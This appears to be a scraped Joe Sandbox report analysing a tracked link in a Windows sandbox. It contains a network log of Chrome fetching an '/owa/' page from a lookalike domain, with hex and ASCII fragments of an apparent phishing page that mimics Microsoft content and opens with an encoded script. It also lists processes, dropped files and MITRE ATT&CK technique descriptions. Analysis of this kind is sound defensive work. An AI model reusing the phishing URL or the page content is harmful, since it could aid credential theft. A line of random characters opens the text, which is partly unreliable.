7yF!TYYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{fTV-#mfV2<~l%4IeTL69vWv3vO}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49787	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:59 UTC	1915	OUT	GET /owa/ HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:38:00 UTC	1334	IN	HTTP/1.1 200 OK Content-Type: text/html P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" CorrelationVector: BEIF8f+FhkKJDJx1.1.0 Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Credentials: true x-sitemuse-origin: Azure x-azure-ref: 20240426T123759Z-16f6b7d4654dxvkm7ymzqgpf5g000000066g00000000aeh7 Expires: Fri, 26 Apr 2024 12:38:00 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 26 Apr 2024 12:38:00 GMT Transfer-Encoding: chunked Connection: close, Transfer-Encoding Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:38:00 UTC	15050	IN	Data Raw: 36 35 63 65 35 0d 0a ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6d 73 63 6f 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 43 4d 53 76 4e 65 78 74 22 20 78 6d 6c 6e 73 3a 6d 64 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 6d 73 63 6f 6d 2d 64 61 74 61 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 Data Ascii: 65ce5<!DOCTYPE html ><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext" xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKC
2024-04-26 12:38:00 UTC	16384	IN	Data Raw: 3a 37 2c 26 71 75 6f 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 7d 22 3e 3c 61 20 69 64 3d 22 73 68 65 6c 6c 6d 65 6e 75 5f 31 31 22 20 63 6c 61 73 73 3d 22 6a 73 2d 73 75 62 6d 2d 75 68 66 2d 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 65 6e 2d 75 73 2f 73 74 6f 72 65 2f 62 2f 73 61 6c 65 3f 69 63 69 64 3d 67 6d 5f 6e 61 76 5f 4c 30 5f 73 61 6c 65 70 61 67 65 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 57 30 4e 61 76 5f 44 65 61 6c 73 5f 6e 61 76 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 31 63 37 63 32 63 31 63 Data Ascii: :7,"aN":"c2c1c8c2m1r1a1"}"><a id="shellmenu_11" class="js-subm-uhf-nav-link" href="https://www.microsoft.com/en-us/store/b/sale?icid=gm_nav_L0_salepage" data-m="{"cN":"W0Nav_Deals_nav","id":"n1c7c2c1c
2024-04-26 12:38:00 UTC	16384	IN	Data Raw: 75 6f 74 3b 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 31 63 33 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 73 4e 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 61 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 33 63 31 33 63 32 63 31 63 38 63 32 6d 31 72 31 61 31 26 71 75 6f 74 3b 7d 22 3e 4d 69 63 72 6f 73 6f 66 74 20 43 6c 6f 75 64 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6a 73 2d 6e 61 76 2d 6d 65 6e 75 20 73 69 6e 67 6c 65 2d 6c 69 6e 6b 22 20 64 61 74 61 2d 6d 3d 22 7b 26 71 75 6f 74 3b 63 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 4d 6f 72 65 5f 42 75 73 69 6e 65 73 73 5f 4d 69 63 72 6f 73 6f 66 74 20 53 65 63 75 72 69 74 79 5f 63 6f 6e 74 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 54 Data Ascii: uot;id":"n1c3c13c2c1c8c2m1r1a1","sN":1,"aN":"c3c13c2c1c8c2m1r1a1"}">Microsoft Cloud</a></li><li class="js-nav-menu single-link" data-m="{"cN":"More_Business_Microsoft Security_cont","cT
2024-04-26 12:38:00 UTC	16384	IN	Data Raw: 6d 2f 65 6e 2d 75 73 2f 43 4d 53 49 6d 61 67 65 73 2f 50 72 69 6e 74 2d 6e 65 77 2d 32 2e 70 6e 67 3f 76 65 72 73 69 6f 6e 3d 34 65 61 66 63 65 31 31 2d 61 33 64 66 2d 65 39 37 31 2d 66 34 38 31 2d 66 65 64 37 36 34 32 38 66 66 61 31 22 20 63 6c 61 73 73 3d 22 6d 73 63 6f 6d 2d 69 6d 61 67 65 22 20 61 6c 74 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 74 69 74 6c 65 3d 22 70 72 69 6e 74 2d 69 63 6f 6e 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 2f 3e 3c 2f 61 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 69 6e 74 22 20 63 6c 61 73 73 3d 22 6d 2d 6c 2d 6d 64 22 20 69 64 3d 22 70 73 70 5f 70 72 69 6e 74 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 22 3e 50 72 69 6e 74 3c 2f 61 3e 3c 21 2d 2d 6e 65 77 20 Data Ascii: m/en-us/CMSImages/Print-new-2.png?version=4eafce11-a3df-e971-f481-fed76428ffa1" class="mscom-image" alt="print-icon" title="print-icon" width="16" height="16" /></a><a title="Print" class="m-l-md" id="psp_print" href="javascript:void(0)">Print</a>...new
2024-04-26 12:38:00 UTC	16384	IN	Data Raw: 63 61 6e 20 61 6c 73 6f 20 62 65 20 69 6e 66 65 72 72 65 64 20 66 72 6f 6d 20 61 20 64 65 76 69 63 65 e2 80 99 73 20 49 50 20 61 64 64 72 65 73 73 20 6f 72 20 64 61 74 61 20 69 6e 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 70 72 6f 66 69 6c 65 20 74 68 61 74 20 69 6e 64 69 63 61 74 65 73 20 77 68 65 72 65 20 69 74 20 69 73 20 6c 6f 63 61 74 65 64 20 77 69 74 68 20 6c 65 73 73 20 70 72 65 63 69 73 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 61 74 20 61 20 63 69 74 79 20 6f 72 20 70 6f 73 74 61 6c 20 63 6f 64 65 20 6c 65 76 65 6c 2e 0d 0a 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 4f 74 68 65 72 20 69 6e 70 75 74 3c 2f 73 74 72 6f 6e 67 3e 2e 20 4f 74 68 65 72 20 69 6e 70 75 74 73 20 70 72 6f 76 69 64 65 64 20 77 68 65 6e 20 79 6f 75 20 75 73 65 20 Data Ascii: can also be inferred from a devices IP address or data in your account profile that indicates where it is located with less precision, such as at a city or postal code level. </li><li><strong>Other input</strong>. Other inputs provided when you use
2024-04-26 12:38:01 UTC	16384	IN	Data Raw: 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 64 65 6c 69 76 65 72 20 67 6f 6f 64 73 20 70 75 72 63 68 61 73 65 64 20 66 72 6f 6d 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6f 72 65 2e 0d 0a 20 20 20 20 3c 2f 6c 69 3e 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 52 65 70 6f 72 74 69 6e 67 20 61 6e 64 20 62 75 73 69 6e 65 73 73 20 6f 70 65 72 61 74 69 6f 6e 73 3c 2f 73 74 72 6f 6e 67 3e 2e 20 57 65 20 75 73 65 20 64 61 74 61 20 74 6f 20 61 6e 61 6c 79 7a 65 20 6f 75 72 20 6f 70 65 72 61 74 69 6f 6e 73 20 61 6e 64 20 70 65 72 66 6f 72 6d 20 62 75 73 69 6e 65 73 73 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 2e 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 75 73 20 74 6f 20 6d 61 6b 65 20 69 6e 66 6f 72 6d 65 64 20 64 65 63 69 73 69 6f 6e 73 20 61 6e 64 20 72 65 70 6f 72 Data Ascii: nformation to deliver goods purchased from the Microsoft Store. </li><li><strong>Reporting and business operations</strong>. We use data to analyze our operations and perform business intelligence. This enables us to make informed decisions and repor
2024-04-26 12:38:01 UTC	16384	IN	Data Raw: 64 61 74 61 2c 20 69 6e 63 6c 75 64 69 6e 67 20 62 69 6c 6c 69 6e 67 20 61 6e 64 20 61 63 63 6f 75 6e 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 70 72 69 76 61 63 79 20 73 65 74 74 69 6e 67 73 2c 20 61 6e 64 20 6f 6e 6c 69 6e 65 20 73 61 66 65 74 79 20 61 6e 64 20 64 61 74 61 20 73 68 61 72 69 6e 67 20 70 72 65 66 65 72 65 6e 63 65 73 20 62 79 20 61 63 63 65 73 73 69 6e 67 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 6d 73 63 6f 6d 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 69 76 65 2e 78 62 6f 78 2e 63 6f 6d 2f 4d 79 58 62 6f 78 2f 50 72 6f 66 69 6c 65 22 3e 4d 79 20 58 62 6f 78 3c 2f 61 3e 20 6f 6e 20 74 68 65 20 58 62 6f 78 20 63 6f 6e 73 6f 6c 65 20 6f 72 20 6f 6e 20 74 68 65 20 58 62 6f 78 Data Ascii: data, including billing and account information, privacy settings, and online safety and data sharing preferences by accessing <a target="_blank" class="mscom-link" href="https://live.xbox.com/MyXbox/Profile">My Xbox</a> on the Xbox console or on the Xbox
2024-04-26 12:38:01 UTC	16384	IN	Data Raw: 61 64 73 20 61 6e 64 20 63 6f 6e 74 65 6e 74 20 62 61 73 65 64 20 6f 6e 20 79 6f 75 72 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 70 72 6f 66 69 6c 65 73 20 61 6e 64 20 61 63 74 69 76 69 74 79 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 e2 80 99 72 65 20 75 73 65 64 20 74 6f 20 63 6f 6e 6e 65 63 74 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 20 74 6f 20 79 6f 75 72 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 70 72 6f 66 69 6c 65 73 20 73 6f 20 74 68 65 20 61 64 73 20 61 6e 64 20 63 6f 6e 74 65 6e 74 20 79 6f 75 20 73 65 65 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 20 61 6e 64 20 6f 6e 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 77 69 6c 6c 20 62 65 74 74 65 72 20 72 65 66 6c 65 63 74 20 Data Ascii: ads and content based on your social media profiles and activity on our websites. Theyre used to connect your activity on our websites to your social media profiles so the ads and content you see on our websites and on social media will better reflect
2024-04-26 12:38:01 UTC	16384	IN	Data Raw: 70 6c 6f 79 65 72 20 6f 72 20 79 6f 75 72 20 73 63 68 6f 6f 6c 29 20 63 72 65 61 74 65 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 20 74 69 65 64 20 74 6f 20 79 6f 75 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 74 68 61 74 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2c 20 77 65 20 72 65 66 65 72 20 74 6f 20 74 68 61 74 20 61 63 63 6f 75 6e 74 20 61 73 20 61 20 3c 73 74 72 6f 6e 67 3e 77 6f 72 6b 20 6f 72 20 73 63 68 6f 6f 6c 20 61 63 63 6f 75 6e 74 3c 2f 73 74 72 6f 6e 67 3e 2e 3c 2f 6c 69 3e 3c 6c 69 3e 57 68 65 6e 20 79 6f 75 20 6f 72 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 28 73 75 63 68 20 61 73 20 61 20 63 61 62 6c 65 20 6f 72 20 69 6e 74 65 72 6e 65 74 20 73 65 Data Ascii: ployer or your school) create your Microsoft account tied to your email address provided by that organization, we refer to that account as a <strong>work or school account</strong>.</li><li>When you or your service provider (such as a cable or internet se
2024-04-26 12:38:01 UTC	16384	IN	Data Raw: 20 6e 75 6d 62 65 72 20 74 6f 20 62 6f 6f 73 74 20 61 63 63 6f 75 6e 74 20 73 65 63 75 72 69 74 79 2e 20 49 66 20 79 6f 75 72 20 63 68 69 6c 64 20 6e 65 65 64 73 20 68 65 6c 70 20 61 63 63 65 73 73 69 6e 67 20 74 68 65 69 72 20 61 63 63 6f 75 6e 74 2c 20 74 68 65 79 20 77 69 6c 6c 20 62 65 20 61 62 6c 65 20 74 6f 20 75 73 65 20 6f 6e 65 20 6f 66 20 74 68 65 73 65 20 61 6c 74 65 72 6e 61 74 65 73 20 74 6f 20 76 61 6c 69 64 61 74 65 20 74 68 65 79 20 6f 77 6e 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 2e 3c 2f 70 3e 3c 70 3e 57 65 20 63 6f 6c 6c 65 63 74 20 6c 69 6d 69 74 65 64 e2 80 af 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 63 68 69 6c 64 72 65 6e 2c e2 80 af 69 6e 63 6c 75 64 69 6e 67 e2 80 af 6e 61 6d 65 2c 20 62 69 Data Ascii: number to boost account security. If your child needs help accessing their account, they will be able to use one of these alternates to validate they own the Microsoft account.</p><p>We collect limitedinformation about children,includingname, bi

Target ID:	0
Start time:	14:36:50
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:36:56
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2012,i,11760503481777218251,5847804441829392476,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:36:56
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:36:57
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1984,i,6016941186298933392,15706958933032620811,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:36:57
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Windows Analysis Report
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz